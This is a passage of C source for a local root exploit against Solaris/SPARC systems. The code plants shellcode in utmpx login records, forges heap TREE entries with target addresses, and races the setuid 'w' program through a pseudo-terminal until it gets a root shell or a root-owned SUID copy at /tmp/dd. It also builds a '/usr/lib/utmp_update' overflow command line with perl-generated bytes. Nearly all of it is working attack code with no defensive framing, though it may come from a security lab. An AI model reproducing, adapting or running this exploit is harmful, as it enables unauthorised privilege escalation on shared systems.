instruction?!?!.. QUITTING\n"); exit (2); } return; } *(cp++) = c; } // place the jump instruction (it's really a branch lol) *(cp++) = JUMP_TO_PREV_UT_TV_FROM_END_OF_NAME_STR[0]; *(cp++) = JUMP_TO_PREV_UT_TV_FROM_END_OF_NAME_STR[1]; *(cp++) = JUMP_TO_PREV_UT_TV_FROM_END_OF_NAME_STR[2]; *(cp++) = JUMP_TO_PREV_UT_TV_FROM_END_OF_NAME_STR[3]; utmpx_index++; } } write_shellcode_to_disk() { fprintf (stderr, "INSIDE WRITE SHELLCODE TO DISK\n"); while (utmpx_index >= 0) { reset_utmpx_file_for_querying(); while ( getutxent() != NULL ); // not sure if I HAVE to do this if ( pututxline(&shellcode_utmpx_entries[utmpx_index--]) ) { fprintf(stderr, "Wrote SC[%d] to disk\n", utmpx_index+1); } else { fprintf(stderr, "PROBLEM WRITING SHELLCODE ENTRY %d\n", utmpx_index); exit (2); } } usleep(1000000/2); gsizeof_utmpx_file = stat_utmpx(&gstatbuf); RETURN_ADDRESS = (gsizeof_utmpx_file + W_HEAPBUF_BASEADDR) - 0x124 ; fprintf(stderr, "RETURN_ADDRESS = 0x%08x\n", RETURN_ADDRESS); } time_t utmpx_last_access_time=0; static char pts_prefix[] = "pts///"; // Because in my case the ID is the TARGET address :\ // make sure, don't waste a pre-entry on valuable TARGET SPACE int is_addr_in_target_space(uint32_t *addr) { if (*addr < TARGET_MIN || *addr > TARGET_MAX) return 0; else return 1; } // everything starts at 1 cause I'm not fucking with null bytes char * getfree_id_not_stack() { static char p[4+1]; uint16_t four=1,three=1,two=1,one=1; uint8_t bit_index=1; bzero (p, 5); for (four=1; four < UPPER_LIMIT; four++) { for (three=1; three < 256; three++) { for (two=1; two < 256; two++) { bit_index=1; for (one=0; one < 32; one++) { for (; bit_index < 8; bit_index++) { if ( (table[four][three][two][one] & (1 << bit_index)) == 0) { // found a freebie p[0] = four; p[1] = three; p[2] = two; p[3] = (one * 8) + bit_index; p[4] = 0; uint32_t *addr = (uint32_t *)p; if (!is_addr_in_target_space(addr)) // address pass intentional { table[four][three][two][one] |= (1 << bit_index); return p; } } } // I started with bit_index=1 to skip the NULL byte case bit_index=0; // when one=0, but after that (one > 0) the bit_index @ 0 will reflect // values beyond 0 so it's OK } } } } return NULL; } char * getfree_stackreturnaddr_id() { static char addr_str[5]; int i; uint8_t bit_index; bzero (addr_str, 5); for (i=0; i < STACK_TABLE_SIZE; i++) { for (bit_index=0; bit_index < 8; bit_index++) { if ( (stack_table[i] & (1 << bit_index)) == 0 ) { uint32_t free_stack_addr = TARGET_MIN + (i * 32) + (bit_index * 4) ; uint32_t *pi = (uint32_t *)&addr_str[0]; *pi = free_stack_addr; // mark the entry taken now on stack_table[i] |= (1 << bit_index); return addr_str; // its OK, addr_str is static } } } return NULL; } #define GENERIC_PID 9000 #define GENERIC_TYPE DEAD_PROCESS // it has to be 08.. there's nothin GENERIC ABOUT it!! #define GENERIC_TERM 10 #define GENERIC_EXITSTATUS 1 #define GENERIC_XTIME 100000 #define GENERIC_TIME_USEC 10000 #define GENERIC_SESSION 4 #define GENERIC_PAD0 0x00000000 #define GENERIC_PAD1 0x00000000 #define GENERIC_PAD2 0x00000000 #define GENERIC_PAD3 0x00000000 #define GENERIC_PAD4 0x00000000 #define GENERIC_SYSLEN 4 #define GENERIC_HOST "bazz" // static char phrase6[] = "\" \"9000\" \"8\" \"10\" \"1\" \"100000\" // \"10000\" \"4\" \"aa\" \"4\" \"bazz\""; assign_generics(struct utmpx *utxp) { char *cp; // LINE cp = utxp->ut_line; strcpy (cp, pts_prefix); // global cp += strlen(pts_prefix); strcpy (cp, ttyn); // global utxp->ut_pid = GENERIC_PID; utxp->ut_type = GENERIC_TYPE; utxp->ut_exit.e_termination = GENERIC_TERM; utxp->ut_exit.e_exit = GENERIC_EXITSTATUS; utxp->ut_xtime = GENERIC_XTIME; utxp->ut_tv.tv_usec = GENERIC_TIME_USEC; utxp->ut_session = GENERIC_SESSION; utxp->pad[0] = GENERIC_PAD0; utxp->pad[1] = GENERIC_PAD1; utxp->pad[2] = GENERIC_PAD2; utxp->pad[3] = GENERIC_PAD3; utxp->pad[4] = GENERIC_PAD4; utxp->ut_syslen = GENERIC_SYSLEN; strcpy(utxp->ut_host, GENERIC_HOST); } craft_generic_utmpx_entry(struct utmpx *utp) { char *free_nonstack_id; bzero (utp, UTMPX_ENTRY_SIZE); // NAME //cp = utp->ut_name; strcpy (utp->ut_name, "BOOBS" ); // ID if ( (free_nonstack_id = getfree_id_not_stack()) == NULL) { fprintf(stderr, "OUT OF FREE ID SPACE!!?!? QUITTING\n"); exit(1); } strcpy (utp->ut_id, free_nonstack_id); // TAKES CARE OF THE REST assign_generics(utp); } craft_fake_tree_utmpx_entry(struct utmpx *utp) { char *free_stack_id; char *cp; // char pointer generic // INSPIRATION: /*static char pts[] = "pts///"; static char phrase1[] = "/usr/lib/utmp_update `perl -e 'print \"\xff\xff\xff\xf8\" . \"AAAA\" . \""; // phrase 2 is the LD_COOL_ADDR_STR static char phrase3[] = "\" . \"AAAA\" . \"\xff\xff\xff\xff\" . \"AAAA\" . \"AAAA\" . \"AAAA\" '` "; static char phrase4[] = "`perl -e 'print \"\xff\xbe\xef\x08\" '` \"pts///"; // ttynum static char phrase6[] = "\" \"9000\" \"8\" \"10\" \"1\" \"100000\" \"10000\" \"4\" \"aa\" \"4\" \"bazz\"";*/ bzero (utp, UTMPX_ENTRY_SIZE); // NAME cp = utp->ut_name; strcpy (cp, "\xff\xff\xff\xf8XXXX" ); cp += 8; strcpy (cp, LD_COOL_ADDR_STR); cp += strlen(LD_COOL_ADDR_STR); strcpy (cp, "AAAA\xff\xff\xff\xffXXXXBBBBCCCC"); cp += 20; // ID if ( (free_stack_id = getfree_stackreturnaddr_id()) == NULL) { fprintf(stderr, "OUT OF FREE STACK SPACE!!?!? QUITTING\n"); exit(1); } strcpy (utp->ut_id, free_stack_id); // TAKES CARE OF THE REST assign_generics(utp); // //strcpy( (char *)&utp->ut_pid, LD_COOL_ADDR_STR); utp->ut_pid = LD_COOL_ADDR; utp->ut_exit.e_termination=0; //0xff3f; utp->ut_exit.e_exit=0;//0xff3f; utp->ut_tv.tv_sec = RETURN_ADDRESS; utp->ut_tv.tv_usec = RETURN_ADDRESS; } utmp_update_C_style() { struct utmpx *utp, ut; reset_utmpx_file_for_querying(); while ( (utp = getutxent()) != NULL ); craft_fake_tree_utmpx_entry(&ut); } char * string_builder_for_utmp_update_FAKE_TREE() { static char utmp_update_buf[2048]; // I could update UTMPX through the API // but I'm not in that mindset!! <3 char *p; static char pts_prefix[] = "pts///"; static char phrase1[] = "/usr/lib/utmp_update `perl -e 'print \"\xff\xff\xff\xf8\" . \"AAAA\" . \""; // phrase 2 is the LD_COOL_ADDR_STR static char phrase3[] = "\" . \"AAAA\" . \"\xff\xff\xff\xff\" . \"AAAA\" . \"AAAA\" . \"AAAA\" '` "; static char phrase4[] = "`perl -e 'print \"\xff\xbe\xef\x08\" '` \"pts///"; // ttynum static char phrase6[] = "\" \"9000\" \"8\" \"10\" \"1\" \"100000\" \"10000\" \"4\" \"aa\" \"4\" \"bazz\""; bzero(utmp_update_buf, 2048); p = utmp_update_buf; strcpy(p, phrase1); // space included ;) p += strlen(phrase1); strcpy(p, LD_COOL_ADDR_STR); p += strlen(LD_COOL_ADDR_STR); strcpy(p, phrase3); p += strlen(phrase3); strcpy(p, phrase4); p += strlen(phrase4); strcpy(p, ttyn); p += strlen(ttyn); strcpy(p, phrase6); ///usr/lib/utmp_update `perl -e 'print "\xff\xff\xff\xf8" . "AAAA" . "\xff\x3e\xe2\x48" . "AAAA" . "\xff\xff\xff\xff" . "AAAA" . "AAAA" . "AAAA" '` `perl -e 'print "\xff\xbe\xef\x08" '` "pts////////2" "9000" "8" "10" "1" "100000" "10000" "4" "aa" "4" "bazz" // I could be all pretty RIGHT HERE, and have a TREE data structure. // But I'm going to be RAW and not have it. /*strcpy (p, "\xff\xff\xff\xf8XXXX"); p+= 8; *(p++) = LD_COOL_ADDR_STR[0]; *(p++) = LD_COOL_ADDR_STR[1]; *(p++) = LD_COOL_ADDR_STR[2]; *(p++) = LD_COOL_ADDR_STR[3]; //strcpy(p, LD_COOL_ADDR); //p+= strlen(LD_COOL_ADDR); //int *intp = (uint32_t *) p; //*intp = LD_COOL_ADDR; //p+=4; strcpy(p, "XXXX\xff\xff\xff\xff"); p+=8;*/ // This stack ADDR needs to be dynamically asserted /* there needs to be a stack_return_addr variable and a check in the table for an available address don't forget tell the table it's now taken, after verifying by searching thru the UTMPX entries (just keep 2 copies until we get NULL, then look in the last copy for a signature) */ /**(p++) = ' '; // ID strcpy(p, STACK_RETURN_ADDR); p+=4; // *(p++) = ' '; strcpy(p, pts); p+=strlen(pts); //*(p++) = *ttyn; strcpy (p, ttyn); p += strlen(ttyn); *(p++) = ' '; //"9000" strcpy (p, "9000 8 10 1 100000 10000 4 aa 4 bazz");*/ return utmp_update_buf; } // Somewhere above we will get the ID field storeID(char *id) { //char buf[5]; uint8_t four,three,two,one; uint8_t bit_index=0; // ignore ID[0] if it's not in our range if ((uint8_t)*id > (UPPER_LIMIT-1) ) { // UNLESS IT'S IN THE DESIRED STACK SPACE // how to add ID to the table uint32_t *awesome = (uint32_t *)id; if (*awesome >= TARGET_MIN && *awesome < TARGET_MAX) { *awesome -= TARGET_MIN; if (*awesome % 4) { // FUCK YOU!!! return; } else { uint32_t divider = *awesome / 32; uint8_t bit_shift = ((*awesome % 32) / 4); stack_table[divider] |= (1 << bit_shift); return; } } else return; } four = (uint8_t)*(id++); three = (uint8_t)*(id++); two = (uint8_t)*(id++); one = (uint8_t)*id / 8; bit_index = 1 << ((uint8_t)*id % 8); table[four][three][two][one] |= bit_index; } // // Function prototypes add_pre_entry(); // // // //#define test_fork(char *argv) { pid_t cpid = -1; char PATH_TO_W[] = "/home/bazz/blade72/w_32"; char PATH_TO_GDB[] = "/opt/csw/bin/gdb"; char *args[8]; //**envp = NULL; //args[0] - PATH_TO_GDB; //args[1] = PATH_TO_W; //args[2] = argv; //args[3] = (char * )0; args[0] = "/usr/bin/nice"; args[1] = "-n"; args[2] = "19"; args[3] = "/tmp/a.out"; args[4] = argv; args[5] = NULL; cpid = fork(); if (cpid == 0) { printf("in CHILD: \n"); execve(args[0], args, NULL); exit (1); } if (cpid > 0) { int cexit; // child exit code printf("In Parent: \n"); wait (&cexit); fprintf (stderr, "Exiting parent\n"); } else { perror("Fork failed\n"); } } test_argv() { char * argv = build_argv_supplement(); //printf ("%s", argv); test_fork(argv); } uint8_t alarm_went_off=0; void mysignal(int p) { alarm_went_off=1; fprintf (stderr,"."); signal(SIGALRM, mysignal); alarm(1); } reset_utmpx_file_for_querying() { utmpxname(UTMPX_FILE); setutxent(); } init_table() { struct utmpx *p; //don't forget to bzero @init bzero (stack_table, STACK_TABLE_SIZE); bzero (table, UPPER_LIMIT*256*256*32); reset_utmpx_file_for_querying(); while ( (p = getutxent()) != NULL ) { storeID(p->ut_id); } endutxent(); } test_table() { signal(SIGALRM, mysignal); //init_table(); uint16_t four=1,three=1,two=1,one=1; uint8_t bit_index=1; static char pc[5]; uint32_t *intp; int i; fprintf(stderr, "Searching the generic ID table"); alarm(1); for (four=1; four < UPPER_LIMIT; four++) { for (three=1; three < 256; three++) { for (two=1; two < 256; two++) { bit_index=1; for (one=0; one < 32; one++) { for (; bit_index < 8; bit_index++) { if (table[four][three][two][one] & (1 << bit_index)) { alarm(0); // found a freebie pc[0] = four; pc[1] = three; pc[2] = two; pc[3] = (one * 8) + bit_index; pc[4] = 0; if (alarm_went_off) { printf ("\n"); alarm_went_off=0; } if ( (!isprint(pc[0])) || (!isprint(pc[1])) || (!isprint(pc[2])) || (!isprint(pc[3])) ) { intp = (uint32_t *)&pc[0]; printf ("ID: 0x%08x\n", *intp); } else printf ("ID: %s\n", pc); alarm(1); } } // I started with bit_index=1 to skip the NULL byte case bit_index=0; // when one=0 } } } } fprintf (stderr, "Now testing stack table\n"); fprintf (stderr, "ADDRESSES OCCUPIED:\n"); alarm(1); for (i=0; i < STACK_TABLE_SIZE; i++) { for (bit_index=0; bit_index < 8; bit_index++) { if (stack_table[i] & (1 << bit_index)) { alarm (0); if (alarm_went_off) { printf ("\n"); alarm_went_off=0; } printf("0x%08x\n", TARGET_MIN + (i * 8 * 4) + (bit_index * 4) ); alarm(1); } } } } test_fake_tree_string_builder() { char *p = string_builder_for_utmp_update_FAKE_TREE(); printf( "%s",p); fprintf(stderr, "return code is %d\n", WEXITSTATUS(system(p))); } add_pre_entry() { struct utmpx ut; craft_generic_utmpx_entry(&ut); reset_utmpx_file_for_querying(); while ( getutxent() != NULL ); // not sure if I HAVE to do this if ( pututxline(&ut) ) { fprintf(stderr, "I think it was sucessful.. Do an 'od -X /var/adm/utmpx' \ to find out"); } } add_fake_tree_entry() { struct utmpx ut; craft_fake_tree_utmpx_entry(&ut); // then write it !! reset_utmpx_file_for_querying(); while ( getutxent() != NULL ); // not sure if I HAVE to do this if ( pututxline(&ut) ) { //fprintf(stderr, "I think it was sucessful.. Do an 'od -X /var/adm/utmpx' \ //to find out"); } } dotests() { char c; fprintf(stderr, "1) Test ARGV builder\n"); fprintf(stderr, "2) Test TABLE ID Entries\n"); fprintf(stderr, "3) Test string builder for utmp_update fake tree structure\n"); fprintf(stderr, "4) Test Craft of Fake TREE UTMPX Entry\n"); fprintf(stderr, "5) Test craft of generic UTMPX entry\n"); fprintf(stderr, "6) Watch and attack\n"); fprintf(stderr, "7) test with gdb\n"); scanf("%c", &c); if (c == '1') { test_argv(); return 1; } else if (c == '2') { test_table(); return 1; } else if (c == '3') { test_fake_tree_string_builder(); return 1; } else if (c == '4') { add_fake_tree_entry(); return 1; } else if (c == '5') { add_pre_entry(); } else if (c == '6') { watch_and_attack(); } else if (c == '7') { struct utmpx utxp; turn_shellcode_into_utmpx_entries(gimme_root_shell); write_shellcode_to_disk(); align_utmpx(); //signal(SIGALRM, booyah); //cret = -1; //c = 0; // //sleep(1); add_fake_tree_entry(); prep_overflow_entry(&utxp); getchar(); getchar(); //alarm(5); //fork_child(build_argv_supplement()); // parent resumes below watch_and_attack(&utxp); } return 0; } int processclargs(int argc, char *argv[]) { int c, linecount; while( --argc > 0 && (*++argv)[0] == '-') while(c = *++argv[0]) //bug to investigate: what are the side effects of c == *++argv[0], which was a bug before the fix. switch (c) { case 't': return 1; break; case 'b': use_bash=1; break; default: printf("illegal option %c\n", c); argc = 0; break; } //if( argc != 1) //printf("Usage: tail [-n #]\n"); return 0; } // need function protos stat_utmpx(); align_utmpx(); int entries; uint32_t TREE_base_addr; necessary_init() { argv_buf = malloc(ARGV_BUF_LEN); init_table(); // WARNING. THIS CODE ASSUMES the TTY PATH is /dev/pts/**** // definitely gotta strip tty name ttyn = ttyname(0); ttyn = strrchr(ttyn, '/'); ttyn++; //ttyn += 5; // remove "/dev/" //ttyn += 4; // remove "pts/" // I just want the number :D fprintf (stderr, "tty number is %s\n", ttyn); pwnam = getpwuid(getuid()); username = pwnam->pw_name; fprintf(stderr, "Username is %s\n", username); gethostname(hostname, sizeof hostname); fprintf(stderr, "hostname is %s\n", hostname); fprintf(stderr, "sizeof hostname is %d\n", sizeof hostname); if (strstr(hostname, "life") || strstr(hostname, "blade57")) { LD_COOL_ADDR = LIFE_THR_JMP_TABLE-0x08; } else if (strstr(hostname, "blade60")) { LD_COOL_ADDR = BLADE60_THR_JMP_TABLE-0x08; } else if (strstr(hostname, "blade71") || strstr(hostname, "blade72")) { LD_COOL_ADDR = BLADE7X_THR_JMP_TABLE-0x08; } uint32_t *p = (uint32_t *)LD_COOL_ADDR_STR; *p = LD_COOL_ADDR; fprintf (stderr, "LD_COOL_ADDR = 0x%08x\n", LD_COOL_ADDR); } void othersigchildhandler(int c) { raise(SIGCHLD); } int *execve_wait;//=1; int *utmp_write_wait;//=46000; int *we_are_done; int *test_mode; char *test_mode_count; int *no_more_raw_processing; fork_child(char *argv) { static int count=1; pid_t cpid = -1; char PATH_TO_W[] = "/bin/sparcv7/w"; char PATH_TO_NICE[] = "/usr/bin/nice"; //char PATH_TO_GDB[] = "/opt/csw/bin/gdb"; char *args[8]; //**envp = NULL; char *envp[2]; //args[0] - PATH_TO_GDB; //args[1] = PATH_TO_W; //args[2] = argv; //args[3] = (char * )0; if (argv == NULL) { fprintf(stderr, "fork: argv is null??! Quitting\n"); exit (1); } args[0] = PATH_TO_NICE; args[1] = "-n"; args[2] = "19"; args[3] = PATH_TO_W; //args[4] = NULL; //args[4] = "-"; //args[4] = "-h"; args[4] = username; //"apply"; //args[5] = NULL; args[5] = NULL; envp[0] = argv; envp[1] = NULL; //usleep(1000000); cpid = fork(); if (cpid == 0) { if (dup2(fd_slave, STDIN_FILENO) != STDIN_FILENO) perror ("---can't dup2 into stdin\n"); if (dup2(fd_slave, STDOUT_FILENO) != STDOUT_FILENO) perror ("---can't dup2 into stdout\n"); if (dup2(fd_slave, STDERR_FILENO) != STDERR_FILENO) perror ("---can't dup2 into stderr\n"); //stty_raw(STDIN_FILENO); fprintf (stderr, "execvewait = %d", *execve_wait); usleep(*execve_wait); //count+=1; execve(args[0], args, envp); exit (1); } if (cpid > 0) { // parent //cret = -1; //c = 0; // //sleep(1); } else { perror("Fork failed\n"); exit (1); } } watch_and_attack(struct utmpx *utxp) { static uint32_t count=0x3c; // continuously stat the file to watch for an access change: // The moment the first getutxent() is called, is when the access time // will be updated.. !! //while(1) //{ //stat(UTMPX_FILE, &gstatbuf); //if (gstatbuf.st_atime > utmpx_last_access_time) //{ // GO TIME BABY //usleep(count); fprintf (stderr, "Utmp_write_wait = %d\n", *utmp_write_wait); usleep(*utmp_write_wait); pututxline(utxp); //count += 100; //count += 100/2; //break; //utmpx_last_access_time = gstatbuf.st_atime; //} //} // Update utmp quickly!! <3 } assign_nonstack_id(struct utmpx *utxp) { char *free_nonstack_id; if ( (free_nonstack_id = getfree_id_not_stack()) == NULL) { fprintf(stderr, "OUT OF FREE ID SPACE!!?!? QUITTING\n"); exit(1); } strcpy (utxp->ut_id, free_nonstack_id); } // prep_overflow_entry(struct utmpx *utxp) { // prep struct bzero (utxp, UTMPX_ENTRY_SIZE); if (*test_mode) strcpy(utxp->ut_name, username); else { //strcpy (utxp->ut_name, "\xFF\xFF\xFE\x85\xFF\xFF\xFE\x81\xFF\xFF\xFE\x7d\xFF\xFF\xFE\x79"); //strcpy (utxp->ut_name, uint32_t val = 0xFFFFFEB9; uint32_t *p = (uint32_t *)&(utxp->ut_name[0]); *(p++) = val; val -=4; *(p++) = val; val -=4; *(p++) = val; val -=4; *(p++) = val; } assign_nonstack_id(utxp); //assign_generics(utxp); char *cp; // LINE cp = utxp->ut_line; strcpy (cp, pts_prefix); // global cp += strlen(pts_prefix); strcpy (cp, ttyn); // global utxp->ut_pid = GENERIC_PID; if (*test_mode) utxp->ut_type = USER_PROCESS; else utxp->ut_type = DEAD_PROCESS; utxp->ut_exit.e_termination = GENERIC_TERM; utxp->ut_exit.e_exit = GENERIC_EXITSTATUS; utxp->ut_xtime = GENERIC_XTIME; utxp->ut_tv.tv_usec = GENERIC_TIME_USEC; utxp->ut_session = GENERIC_SESSION; utxp->pad[0] = GENERIC_PAD0; utxp->pad[1] = GENERIC_PAD1; utxp->pad[2] = GENERIC_PAD2; utxp->pad[3] = GENERIC_PAD3; utxp->pad[4] = GENERIC_PAD4; utxp->ut_syslen = GENERIC_SYSLEN; strcpy(utxp->ut_host, GENERIC_HOST); //reset_utmpx_file_for_querying(); //while ( getutxent() != NULL ); // not sure if I HAVE to do this } char booyeah = 0; booyah(int c) { fprintf(stderr, "BOO YAH\n"); *no_more_raw_processing=1; booyeah = 1; //signal(SIGALRM, bo); } void catchsigint(int c) { fprintf(stderr, "DERP!!!\n"); booyeah=1; *we_are_done=1; } struct termios term; struct winsize twin; thebigfork() { int cpid = fork(); if (cpid == 0) { signal(SIGCHLD, othersigchildhandler); printf("in CHILD: \n"); //setsid() printf("---Setsid()\n"); if (setsid() < 0) perror("---setsid failed\n"); // Pushing modules to slave printf("---Pushing ptem module to slave\n"); ////sleep(1); if (ioctl(fd_slave, I_PUSH, "ptem") == -1) perror("---pushing ptem module failed\n"); printf("---Pushing ldterm module to slave\n"); ////sleep(1); if (ioctl(fd_slave, I_PUSH, "ldterm") == -1) perror("---Pushing ldterm module failed\n"); printf("---setting term settings\n"); fflush(stdout); if (tcsetattr(fd_slave, TCSANOW, &term) < 0) perror ("---can't set termios\n"); printf("---setting window settings\n"); if (ioctl(fd_slave, TIOCSWINSZ, &twin) < 0) perror ("---can't set winsize\n"); if (dup2(fd_slave, STDIN_FILENO) != STDIN_FILENO) perror ("---can't dup2 into stdin\n"); if (dup2(fd_slave, STDOUT_FILENO) != STDOUT_FILENO) perror ("---can't dup2 into stdout\n"); if (dup2(fd_slave, STDERR_FILENO) != STDERR_FILENO) perror ("---can't dup2 into stderr\n"); //if (fd_slave > STDERR_FILENO) //close (fd_slave); //stty_raw(STDIN_FILENO); return; } if (cpid > 0) { fd_set readset; int cexit; // child exit code int len, n, sel, susp = 0; //char logfile[] = "/tmp/log.txt"; //logfd = open(logfile, O_CREAT|O_APPEND|O_WRONLY, S_IRWXU|S_IRWXG|S_IRWXO); //if (logfd < 0) //perror("opening log file failed\n"); printf("In Parent: \n"); /*printf("Telling master to forward SIGINT signals to slave\n"); ////sleep(1); if (ioctl(fd_master, TIOCSIGNAL, SIGINT) < 0) perror("Setting master to forward sigint to slave failed\n");*/ stty_raw (STDIN_FILENO); //stty_raw (fd_master); fdmax = max(STDIN_FILENO, fd_slave); while (1) { do { FD_ZERO (&readset); FD_SET (STDIN_FILENO, &readset); FD_SET (fd_master, &readset); sel = select(fdmax + 1, &readset, NULL, NULL, NULL); } while (sel == -1 && errno == EINTR); if (sel == -1 && errno != EINTR) { printf ("select failed. errno = %d\n", errno); perror(""); } if (FD_ISSET(STDIN_FILENO, &readset)) { if ((n = read(STDIN_FILENO, buff, BUFF_SIZE)) < 1) exit (0); buff[n] = 0; if (*no_more_raw_processing == 0) { if (strchr(buff,'w')) // CTRL-A automate { *execve_wait += 100; //fprintf(stderr, "execve_wait = %d\n", execve_wait); continue; } else if (strchr(buff,'s')) // CTRL-D send buffer overflow { *execve_wait -= 100; //fprintf(stderr, "execve_wait = %d\n", execve_wait); continue; } else if (strchr(buff,'a')) // CTRL-F { *execve_wait -= 10; //fprintf(stderr, "execve_wait = %d\n", execve_wait); continue; } else if (strchr(buff,'d')) // CTRL-L { *execve_wait += 10; //fprintf(stderr, "execve_wait = %d\n", execve_wait); continue; } else if (strchr(buff,'r')) // CTRL-F { *execve_wait += 1000; //fprintf(stderr, "execve_wait = %d\n", execve_wait); continue; } else if (strchr(buff,'f')) // CTRL-L { *execve_wait -= 1000; //fprintf(stderr, "execve_wait = %d\n", execve_wait); continue; } else if (strchr(buff,'t')) // CTRL-F { *execve_wait += 10000; //fprintf(stderr, "execve_wait = %d\n", execve_wait); continue; } else if (strchr(buff,'g')) // CTRL-L { *execve_wait -= 10000; //fprintf(stderr, "execve_wait = %d\n", execve_wait); continue; } // //// // else if (strstr(buff, KBD_UP)) { //printf ("UP\n"); *utmp_write_wait += 100; continue; } else if (strstr(buff, KBD_DOWN)) { //printf ("DOWN\n"); *utmp_write_wait -= 100; continue; } else if (strstr(buff, KBD_LEFT)) { //printf ("LEFT\n"); *utmp_write_wait -= 10; continue; } else if (strstr(buff, KBD_RIGHT)) { //printf ("RIGHT\n"); *utmp_write_wait += 10; continue; } else if (strchr(buff, 'i')) { //printf ("UP\n"); *utmp_write_wait += 1000; continue; } else if (strchr(buff, 'k')) { //printf ("DOWN\n"); *utmp_write_wait -= 1000; continue; } else if (strchr(buff, 'o')) { //printf ("UP\n"); *utmp_write_wait += 10000; continue; } else if (strchr(buff, 'l')) { //printf ("DOWN\n"); *utmp_write_wait -= 10000; continue; } // /// // else if (strchr(buff, CTRL_K)) { // toggle TEST MODE if (*test_mode) { *test_mode = 0; *test_mode_count = 1; } else { *test_mode = 1; *test_mode_count = 0; } continue; } // /// // else if (strchr(buff, CTRL_BACKSLASH)) { stty_raw(fd_slave); continue; } else if (strchr(buff, CTRL_CLOSED_BRACKET)) { stty_cooked(fd_slave); continue; } } if (strchr(buff, CTRL_C)) { kill(cpid, SIGINT); //write (fd_master, CTRL_C, 1); //raise(SIGINT); continue; } //write (logfd, buff, n); write (fd_master, buff, n); } if (FD_ISSET(fd_master, &readset)) { if ((n = read(fd_master, buff, BUFF_SIZE)) < 1) continue;//exit (0); buff[n]=0; if (strchr(buff, '#') || strchr(buff, '$')) { if (! *no_more_raw_processing) { *we_are_done = 1; fprintf(stderr, "I SEE U~~\n"); write(fd_master, "stty echo\n", strlen("stty echo\n")); } *no_more_raw_processing = 1; } //if (!automate) stty_cooked(STDIN_FILENO); write (STDOUT_FILENO, buff, n); stty_raw(STDOUT_FILENO); } } //while(1); if (close(fd_master) < 0) perror("Close master failed: "); printf("Closed master\nQuitting..\n"); printf("Waiting for child..\n"); sleep(1); wait(&cexit); exit(1); } else { perror("Fork failed\n"); } } main(int argc, char **argv) { char c; int cret; struct utmpx utxp; prog = argv[0]; //PTY init code if (!isatty(STDIN_FILENO)) printf ("stdin is not a tty\n"); necessary_init(); execve_wait = mmap(NULL, (sizeof *execve_wait) * 5, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); if (execve_wait == MAP_FAILED) { perror("execve_wait mmap"); exit (1); } utmp_write_wait = execve_wait+1; *execve_wait=2000; *utmp_write_wait=60000; we_are_done = execve_wait+2; *we_are_done = 0; test_mode = execve_wait+3; *test_mode = 0; test_mode_count = execve_wait+4; *test_mode_count =0 ; no_more_raw_processing = execve_wait+5; *no_more_raw_processing = 0; char *argvsup = build_argv_supplement(); if (processclargs(argc,argv)) { return dotests(); } // if (use_bash) turn_shellcode_into_utmpx_entries(gimme_root_shell); else turn_shellcode_into_utmpx_entries(chownfile_sc); write_shellcode_to_disk(); align_utmpx(); atexit(finish); //init signal (SIGPIPE, sigpipe); signal (SIGCHLD, sigchld); signal (SIGHUP, sighup); // // Open Master device printf("Opening master device\n"); ////sleep(1); fd_master = open("/dev/ptmx", O_RDWR); if (fd_master < 0) perror("opening master failed\n"); /// Grantpt printf("Doing Grantpt()\n"); ////sleep(1); if (grantpt(fd_master) < 0) perror("Grantpt Master failed\n"); ///Unlockpt printf("Unlocking pt\n"); ////sleep(1); if (unlockpt(fd_master) < 0) perror("Unlockpt Master failed\n"); struct termios term; struct winsize twin; printf("getting stdin termios\n"); if (tcgetattr (STDIN_FILENO, &term) < 0) perror("tcgetattr failed\n"); tty_state_orig = term; printf("getting window settings\n"); if (ioctl (STDIN_FILENO, TIOCGWINSZ, (char *) &twin) < 0) perror("ioctl TCIOCGWINSZ failed\n"); // ptsname() char *slavename; printf("---Getting slave name\n"); ////sleep(1); slavename = ptsname(fd_master); if (slavename == NULL) perror("---ptsname failed\n"); // opening Slave printf("---Opening slave\n"); ////sleep(1); fd_slave = open(slavename, O_RDWR); if (fd_slave < 0) { printf("---open(%s) failed\n",slavename); perror("---"); } //// // THE BIG FORK ///////// ///////// //static char count=0; printf("Forking\n"); sleep(1); thebigfork(); signal(SIGINT, catchsigint); retry: cret = -1; signal(SIGALRM, booyah); add_fake_tree_entry(); prep_overflow_entry(&utxp); //alarm(5); //sleep(1); fork_child(argvsup); // parent resumes below watch_and_attack(&utxp); while (cret != 0 ) { wait(&cret); cret = WEXITSTATUS(cret); } //alarm(0); if (*test_mode || *test_mode_count == 1) { utxp.ut_type = DEAD_PROCESS; pututxline(&utxp); *test_mode_count = 0; } //#ifdef FILEWORKS if (!use_bash) { if (stat("/tmp/dd", &gstatbuf) == ERR) { (void) fprintf(stderr, "%s: stat error of %s: %s\n", prog, "/tmp/dd", strerror(errno)); exit(1); } if (gstatbuf.st_uid == 0) { fprintf(stderr, "WOOHOO SUID SHELL /tmp/dd\n"); *we_are_done = 1; } } //#endif if (*we_are_done == 0) goto retry; //while(1); /*printf ("Did you get root? (y/n): "); c = getchar(); getchar(); if (c == 'n') { goto retry; }*/ // while(1); // END free(argv_buf); } // should do a faster routine during actual "fork parent watch for utmpx access" int stat_utmpx(struct stat *statbuf) { if (stat(UTMPX_FILE, statbuf) == ERR) { (void) fprintf(stderr, "%s: stat error of %s: %s\n", prog, UTMPX_FILE, strerror(errno)); exit(1); } utmpx_last_access_time = statbuf->st_atime; // The above should really be called again before forking off an instance // of 'w' // and don't forget to sleep(2) in the child before exec'ing to ensure the access time is accurate // atime is only precise to the second.. fprintf (stderr, "statbuf.st_size = %d\n", statbuf->st_size); fprintf (stderr, "sizeof struct futmpx = 0x%x\n", sizeof(struct futmpx)); entries = statbuf->st_size / sizeof (struct futmpx); fprintf (stderr, "NumEntries = 0x%x\n", entries); return sizeof (struct utmpx) * entries; } // this would be for heap-based execution method //int smart_build_prefix=0; align_utmpx() { int tmp; /* The W_HEAPBUF_BASEADDR +gsizeof_utmpx_file will be the base address of the TREE structure It MUST be 8-byte aligned if it's not aligned, we simply add a pre-entry to get on TRACK. */ gsizeof_utmpx_file = stat_utmpx(&gstatbuf); TREE_base_addr = gsizeof_utmpx_file + W_HEAPBUF_BASEADDR; if ( (tmp = TREE_base_addr % 8)) { if (tmp == 4) { // FOR STACK BASED EXECUTION WE WANT IT == 0, but for HEAP-BASED EXECUTION, w // want it at 4... //smart_build_prefix=4; } // NOTE ON HEAP_BASED_EXECUTION with smart alignment: // Well, in this case, only have 32-4 bytes to work with in ut_name[] // I will some sort of index_variable which will SMART_BUILD the entry // // Later do some sort of namelen(32) - smart_build_prefix = 